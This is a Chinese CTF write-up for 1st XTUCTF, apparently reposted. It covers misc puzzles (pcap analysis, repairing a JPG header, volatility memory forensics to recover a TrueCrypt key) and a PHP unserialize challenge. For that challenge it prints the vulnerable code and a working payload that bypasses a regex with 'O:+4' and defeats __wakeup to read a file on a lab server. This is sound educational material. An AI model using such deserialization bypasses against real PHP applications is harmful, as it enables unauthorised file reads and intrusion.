概述
1st XTUCTF
这次算是第一次在有限时间内完成ctf线上题,虽说题目很友好,但还是TCL,所以仅仅写出了misc题和一道web题,pwn和逆向题实在是不懂唉。
Misc
1.签到
下载附件并打开,里面是一张数独题目和题目描述(描述同图)签到题应该不设卡,说啥就是啥吧。
数独求解器解数独并按照要求输入,转为32大写md5值,得flag
flag{9100E30EF4F15770951527852BABAE37}
(据说flag不唯一)
2.流量分析
打开附件,看到里面有一个pcapng文件
了解pcapng文件后用Wireshark打开
尝试http过滤,无内容
尝试tcp过滤,有内容
右击追踪TCP流,尝试直接查找flag
成功,往下查找的第二个即为题目flag
流量分析题后记
复现截图的时候多点了一下查找,震惊地发现居然还有三个flag
瞬间怀疑人生,不记得当时交的是不是第一个了,不过问题不大,做题的时候就算发现了四个都试一遍就行了。
3.打不开
打开附件,里面两个文件
打开 潘多拉的key.pdf ,里面是一道S盒求解2进制输出的问题
求解过程还是比较简单的,步骤如下:
输入:101100
第一位和最后一位合成10,转换为十进制为2,对应“2”行
剩下0110转换为十进制为6,对应“6”列
则对照S盒输出十进制为7
转换为二进制为0111
则构造魔盒密码:P0an1do1r@1
用密码成功打开魔盒里面是两个jpg文件
果断先扫二维码,咦扫不了,随手拿了一个正常的二维码进行比较,发现题目给的二维码黑白应该反转一下。上Stegsolve对二维码进行反转然后得到正确二维码
原路返回,瞬间抛弃这张二维码,转向另一张咕咕咕.jpg
直接打开失败,惯例先打开kali用binwalk跑一下,然而并没有隐写文件
用winhex打开咕咕咕.jpg,发现有个Exif
顺手打开另一张二维码的jpg文件比对,发现是JFIF
好的到这里由于知识的匮乏我又自己给自己挖坑了,接下来是我长时间纠结这个咕咕咕到底是个啥文件
回归正轨,了解到Exif储存的是照片拍摄设备的信息,于是我自己用手机拍了张照片(上面第三张)用winhex打开进行对比,好叭,原来正常的jpg文件前面也可以是Exif,再比对,发现最后问题其实在前三个字节,咕咕咕图片的前三个字节变成了00,00,00
然而正常的jpg应该是FF,D8,FF,修改后保存。(由于我的winhex说不能保存超过200k,这一步改到ultraedit上进行)
然后得到真正的图!
得到synt{v tbbq uhatel n}
ROT13解密得到:flag{i good hungry a}
4.取证
下载附件以后打开,里面一共两个文件,vmem+另一个不知名文件,这感觉莫名熟悉。
vmem文件是VMware下的虚拟内存文件,不出意外的话mem.vmem文件应该是suspicion文件主机的内存快照,记录了运行时的一些信息,那么显然这是一个内存取证问题。(这次没有跑偏真是太好了)
内存取证想到了曾经了解过的kali自带的内存取证神器volatility
打开kali尝试使用volatility提取mem.vmem的信息
使用volatility需要知道profile参数,所以先用imageinfo来获取profile参数值
记录下有两个:WinXPSP2x86和WinXPSP3x86
猜是WinXPSP3x86
考虑到还有个suspicion在外边,先用userassist看看当时有哪些程序在运行
利用查找看一下进程中有没有suspicion
好吧显然不是这样搞,仔细看一下当时运行了哪些进程,然后发现了它!!!
一个名为TrueCrypt的进程!TrueCrypt是一款加密软件,那么我们就很容易能想到,suspicion应该是一个被TrueCrypt加密的文件。
要怎么破解TrueCrypt加密成了难题,直到我发现了EFDD(软件简介:Elcomsoft Forensic Disk Decryptor (EFDD) 需要原始的加密密钥来访问加密盘,但 EFDD 可以通过休眠文件或内存转储文件等变通的手段破译出 TrueCrypt 和 BitLocker 的容器密码,它将加密容器虚拟到虚拟盘后,就可以从虚拟磁盘的休眠文件或者内存转储文件中破译出密钥了,从而可以无限制地访问加密内容,对加密的磁盘、卷做完全的取证分析。——来自网络)
下载打开EFDD
然后想要解密需要对应的key,EFDD要求我们提供一个key的来源,显然我们可以获取的来源是memory dump(内存转储文件)。suspicion是被Truecrypt加密的,那么key应该就在Truecrypt中,我们需要把Truecrypt文件dump出来。
先列出所有进程(pslist)获取Truecrypt的PIN
可以查到PIN为2012
使用memdump将其dump出来,可以看到对应dmp文件已经到了指定目录啦
再回到EFDD(路径不一样是因为EFDD不在kali上,把文件传过来了)
Key获取成功
点击mount后可以看到会出现一个磁盘(这里是H),里面就是解密结果啦
文件名称显然就是flag了!终于拿到!
Web
1.unserialiaze
题目给了提示,一个是unserialiaze函数,另一个是php反序列化,打开题目地址
看到如下php代码
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
Demo是一个文件读取的类,在注释栏看到flag在fl4g.php中,需要通过__destruct()进入到fl4g.php,但是这边有个问题是unserialize() 函数调用时会先调用魔术方法__wakeup(),这就会导致读取文件的值发生改变,所以要使其失效。同时,代码中还存在一个正则匹配,需要绕过这个正则匹配。
先序列化看看
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$essen = new Demo('fl4g.php');
$essen = serialize($essen);
echo $essen;
?>
首先要绕过正则匹配则在对象长度前加”+”,就是”0:4”改成”0:+4”。要使__wakeup失效的话改变对象属性个数,可以把对象属性个数”:1:”改成”:2:”,因为要构造请求所以再base64加密,代码如下
$essen = new Demo('fl4g.php');
$essen = serialize($essen);
$essen = str_replace('O:4', 'O:+4',$essen);
$essen = str_replace(':1:', ':2:' ,$essen);
echo base64_encode($essen);
得到
然后请求
172.24.255.44:8002/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
成功获得flag~
最后
以上就是单纯台灯为你收集整理的1st XTUCTF部分Writeup1st XTUCTFMiscWeb的全部内容,希望文章能够帮你解决1st XTUCTF部分Writeup1st XTUCTFMiscWeb所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复